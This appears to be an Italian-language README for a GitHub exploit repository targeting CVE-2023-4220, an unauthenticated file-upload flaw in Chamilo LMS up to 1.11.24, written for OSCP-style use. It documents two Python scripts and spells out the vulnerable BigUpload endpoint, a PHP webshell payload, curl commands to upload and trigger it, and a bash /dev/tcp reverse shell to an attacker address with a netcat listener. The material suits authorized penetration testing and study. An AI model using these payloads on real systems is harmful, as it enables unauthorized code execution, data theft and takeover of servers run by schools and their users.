
CVE-2023-4220 — RCE tramite upload di file non autenticato in Chamilo LMS ≤ 1.11.24. Stile OSCP e exploit automatico.
Exploit Python per CVE-2023-4220, una vulnerabilità di upload arbitrario di file non autenticato che interessa Chamilo LMS <= 1.11.24.
La vulnerabilità si trova nel componente BigUpload di Chamilo. Sulle installazioni vulnerabili, il gestore di upload permette di caricare un file PHP senza una corretta validazione. Poiché i file caricati vengono memorizzati in una directory accessibile dal web, il file PHP caricato può essere richiesto direttamente e utilizzato come webshell se l'esecuzione PHP è abilitata.
Questo repository include due versioni dell'exploit:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Entrambi gli script caricano una webshell PHP, verificano l'esecuzione dei comandi e permettono di eseguire comandi tramite il parametro GET cmd. L'unica differenza pratica è come viene gestito --shell.
La versione auto avvia il proprio listener, attiva la reverse shell e passa automaticamente a una sessione interattiva.
La versione oscp attiva il payload della reverse shell ma non avvia un listener. Devi avviare manualmente il tuo listener prima di eseguirlo.
Clona il repository:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Installa i requisiti:
python3 -m pip install -r requirements.txt
L'unica dipendenza esterna è requests, quindi può essere installata anche manualmente:
python3 -m pip install requests
Il target viene passato con -u o --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Le stesse opzioni sono disponibili in entrambi gli script:
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded webshell after execution
La versione automatica include anche:
--listen-timeout SEC Time to wait for the reverse shell connection
Verifica se il percorso BigUpload previsto è raggiungibile:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Carica la webshell PHP e verifica l'esecuzione dei comandi:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Esegui un singolo comando:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Usa un nome file personalizzato:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Invia il traffico tramite Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Gli esempi sopra utilizzano lo script auto, ma la stessa sintassi può essere usata con chamilo_cve_2023_4220_oscp.py.
L'opzione --shell esiste in entrambi gli script, ma si comporta diversamente a seconda della versione utilizzata.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Questa versione avvia un listener locale su 10.10.14.3:4444, carica la webshell, attiva la reverse shell e apre automaticamente la sessione interattiva.
Non è necessario eseguire nc manualmente quando si utilizza questa versione.
Avvia prima manualmente il tuo listener:
sudo nc -nlvp 4444
Quindi esegui l'exploit da un altro terminale:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Questa versione invia solo il payload della reverse shell attraverso la webshell caricata. La connessione viene ricevuta dal listener che hai avviato manualmente.
Il comando di reverse shell attivato da entrambi gli script è equivalente a:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Assicurati che il valore LHOST sia raggiungibile dal target. In ambienti VPN, di solito è l'indirizzo della tua interfaccia tunnel:
ip -brief addr show tun0
CVE-2023-4220 interessa le versioni di Chamilo LMS fino alla 1.11.24 inclusa.
Il gestore di upload vulnerabile si trova in:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
L'azione sfruttata dall'exploit è:
?action=post-unsupported
I file caricati sono comunemente accessibili da:
/main/inc/lib/javascript/bigupload/files/
L'exploit invia una richiesta POST multipart/form-data utilizzando il campo del form previsto da BigUpload:
bigUploadFile
Il payload PHP caricato è un piccolo wrapper per comandi:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
I comandi vengono passati tramite il parametro GET cmd:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
I marcatori attorno all'output del comando vengono utilizzati per estrarre la parte rilevante della risposta HTTP.
L'upload eseguito dagli script è equivalente a:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Dopo un upload riuscito, l'esecuzione dei comandi può essere testata con:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check verifica solo se la directory dei file BigUpload prevista è raggiungibile. Un risultato positivo non garantisce che il target sia sfruttabile.
Una validazione completa richiede il caricamento del payload PHP e la conferma dell'esecuzione dei comandi con --upload o --cmd.
Se l'upload funziona ma l'esecuzione dei comandi fallisce, l'esecuzione PHP potrebbe essere disabilitata nella directory di upload, il target potrebbe essere stato patchato, o una regola lato server potrebbe bloccare la richiesta.
Usa --cleanup se vuoi che lo script provi a rimuovere il file PHP caricato dopo l'esecuzione.